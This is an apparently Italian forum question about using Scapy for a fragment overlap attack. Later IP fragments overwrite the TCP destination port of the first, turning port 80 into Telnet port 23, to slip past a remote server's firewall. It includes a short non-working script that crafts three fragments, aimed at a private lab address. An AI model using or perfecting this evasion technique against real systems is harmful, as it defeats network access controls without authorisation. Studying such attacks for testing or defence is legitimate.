Come utilizzare Scapy per sovrascrivere una parte delle informazioni dell'intestazione TCP del primo frammento, che conteneva dati che è stato permesso di passare attraverso il firewall, con dati dannosi nei frammenti successivi?
Ad esempio: sovrascrivi il numero della porta di destinazione per cambiare il tipo di servizio, ovvero passa dalla porta 80 (HTTP) alla porta 23 (Telnet) che non sarebbe consentito passare il router in circostanze normali.
Voglio sovrascrivere la porta di destinazione per connettermi al nuovo numero di porta. E sto cercando di aggirare le restrizioni del firewall sul server web remoto che consente solo il traffico web su 80 porte.
Ho usato questo codice di esempio, ma non ricevo una risposta dal computer di destinazione:
dstIP=’10.0.2.17’
frag1=IP(dst=dstIP, id=12345, proto=1, frag=0, flags=1)/TCP(dport=80)/ICMP(type=8,
code=0, chksum=0xdce8)
frag2=IP(dst=dstIP, id=12345, proto=1, frag=2, flags=1)/TCP(dport=23)/”ABABABAB”
frag3=IP(dst=dstIP, id=12345, proto=1, frag=1,flags=0)/TCP(dport=23)/”AAAAAAAABABABABACCCCCCCC”
send(frag1)
send(frag2)
send(frag3)